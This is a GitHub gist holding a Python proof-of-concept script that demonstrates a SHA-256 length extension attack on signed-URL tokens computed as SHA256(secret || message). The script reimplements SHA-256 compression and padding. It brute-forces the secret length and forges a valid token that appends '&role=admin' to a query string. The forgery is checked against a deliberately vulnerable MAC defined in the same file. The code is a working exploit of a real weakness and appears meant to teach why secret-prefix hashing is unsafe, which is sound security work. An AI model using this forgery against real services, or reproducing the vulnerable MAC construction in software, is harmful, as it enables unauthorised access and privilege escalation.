Skip to content

Instantly share code, notes, and snippets.

@jedisct1
Created October 23, 2025 07:32
Show Gist options
  • Select an option

  • Save jedisct1/13e4eb25de0787b2c07854470a3391ab to your computer and use it in GitHub Desktop.

Select an option

Save jedisct1/13e4eb25de0787b2c07854470a3391ab to your computer and use it in GitHub Desktop.
#!/usr/bin/env python3
"""
Demonstrate a length extension attack against tokens computed as
SHA256(secret || signed_url || expiration || remote_ip || query_string).
"""
import base64
import hashlib
import struct
import urllib.parse
from hmac import compare_digest
# SHA-256 round constants.
K = [
0x428A2F98,
0x71374491,
0xB5C0FBCF,
0xE9B5DBA5,
0x3956C25B,
0x59F111F1,
0x923F82A4,
0xAB1C5ED5,
0xD807AA98,
0x12835B01,
0x243185BE,
0x550C7DC3,
0x72BE5D74,
0x80DEB1FE,
0x9BDC06A7,
0xC19BF174,
0xE49B69C1,
0xEFBE4786,
0x0FC19DC6,
0x240CA1CC,
0x2DE92C6F,
0x4A7484AA,
0x5CB0A9DC,
0x76F988DA,
0x983E5152,
0xA831C66D,
0xB00327C8,
0xBF597FC7,
0xC6E00BF3,
0xD5A79147,
0x06CA6351,
0x14292967,
0x27B70A85,
0x2E1B2138,
0x4D2C6DFC,
0x53380D13,
0x650A7354,
0x766A0ABB,
0x81C2C92E,
0x92722C85,
0xA2BFE8A1,
0xA81A664B,
0xC24B8B70,
0xC76C51A3,
0xD192E819,
0xD6990624,
0xF40E3585,
0x106AA070,
0x19A4C116,
0x1E376C08,
0x2748774C,
0x34B0BCB5,
0x391C0CB3,
0x4ED8AA4A,
0x5B9CCA4F,
0x682E6FF3,
0x748F82EE,
0x78A5636F,
0x84C87814,
0x8CC70208,
0x90BEFFFA,
0xA4506CEB,
0xBEF9A3F7,
0xC67178F2,
]
def _right_rotate(value: int, rotations: int) -> int:
return ((value >> rotations) | (value << (32 - rotations))) & 0xFFFFFFFF
def _sha256_compress(block: bytes, state):
"""Process a single 512-bit block."""
assert len(block) == 64
w = list(struct.unpack(">16I", block))
for i in range(16, 64):
s0 = _right_rotate(w[i - 15], 7) ^ _right_rotate(w[i - 15], 18) ^ (w[i - 15] >> 3)
s1 = _right_rotate(w[i - 2], 17) ^ _right_rotate(w[i - 2], 19) ^ (w[i - 2] >> 10)
w.append((w[i - 16] + s0 + w[i - 7] + s1) & 0xFFFFFFFF)
a, b, c, d, e, f, g, h = state
for i in range(64):
S1 = _right_rotate(e, 6) ^ _right_rotate(e, 11) ^ _right_rotate(e, 25)
ch = (e & f) ^ ((~e) & g)
temp1 = (h + S1 + ch + K[i] + w[i]) & 0xFFFFFFFF
S0 = _right_rotate(a, 2) ^ _right_rotate(a, 13) ^ _right_rotate(a, 22)
maj = (a & b) ^ (a & c) ^ (b & c)
temp2 = (S0 + maj) & 0xFFFFFFFF
h = g
g = f
f = e
e = (d + temp1) & 0xFFFFFFFF
d = c
c = b
b = a
a = (temp1 + temp2) & 0xFFFFFFFF
return [
(state[0] + a) & 0xFFFFFFFF,
(state[1] + b) & 0xFFFFFFFF,
(state[2] + c) & 0xFFFFFFFF,
(state[3] + d) & 0xFFFFFFFF,
(state[4] + e) & 0xFFFFFFFF,
(state[5] + f) & 0xFFFFFFFF,
(state[6] + g) & 0xFFFFFFFF,
(state[7] + h) & 0xFFFFFFFF,
]
def _process_blocks(state, data: bytes):
"""Continue hashing from an existing state over 64-byte aligned data."""
assert len(data) % 64 == 0, "Tail must be a multiple of 64 bytes"
h = list(state)
for offset in range(0, len(data), 64):
h = _sha256_compress(data[offset : offset + 64], h)
return h
def _md_padding(message_length: int) -> bytes:
"""
Produce Merkle-Damgård padding for a message of length message_length bytes.
"""
pad_len = (56 - (message_length + 1) % 64) % 64
return b"\x80" + (b"\x00" * pad_len) + struct.pack(">Q", message_length * 8)
def sha256_mac(secret_key: bytes, message: bytes) -> bytes:
"""Original (vulnerable) MAC construction."""
return hashlib.sha256(secret_key + message).digest()
def verify_token(secret_key: bytes, token_b64: str, payload: bytes) -> bool:
expected_mac = sha256_mac(secret_key, payload)
supplied_mac = base64.b64decode(token_b64)
return compare_digest(expected_mac, supplied_mac)
def length_extension_attack(original_mac: bytes, known_message: bytes, extension: bytes, key_length: int):
"""
Return (new_mac, glue_padding) for the chosen key length.
known_message excludes the secret key prefix.
"""
glue_padding = _md_padding(key_length + len(known_message))
total_len = key_length + len(known_message) + len(glue_padding) + len(extension)
tail = extension + _md_padding(total_len)
state = struct.unpack(">8I", original_mac)
forged_state = _process_blocks(state, tail)
forged_mac = struct.pack(">8I", *forged_state)
return forged_mac, glue_padding
def main():
token_security_key = b"supersecretkey!!" # 16 bytes, unknown to the attacker.
signed_url = b"https://example.com/download"
expiration = b"2025-10-24T00:00Z"
remote_ip = b"" # optional field omitted
original_query = b"?file=report.pdf"
payload = signed_url + expiration + remote_ip + original_query
original_mac = sha256_mac(token_security_key, payload)
original_token = base64.b64encode(original_mac).decode()
print("Original query:", original_query.decode())
print("Original token:", original_token)
extension = b"&role=admin"
guessed_lengths = range(8, 33) # common API secrets are short; brute-force the length.
for guessed_len in guessed_lengths:
forged_mac, glue = length_extension_attack(original_mac, payload, extension, guessed_len)
forged_query = original_query + glue + extension
forged_payload = signed_url + expiration + remote_ip + forged_query
forged_token = base64.b64encode(forged_mac).decode()
if verify_token(token_security_key, forged_token, forged_payload):
print("\nSuccessfully forged token!")
print("Guessed secret length:", guessed_len, "bytes")
print("Forged token:", forged_token)
print("Forged query bytes:", forged_query)
encoded = urllib.parse.quote_from_bytes(forged_query)
print("Forged query (safe for HTTP):", encoded)
print(
"Server still accepts forged token:",
verify_token(token_security_key, forged_token, forged_payload),
)
break
else:
print("Attack failed. Try extending the secret length search range.")
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment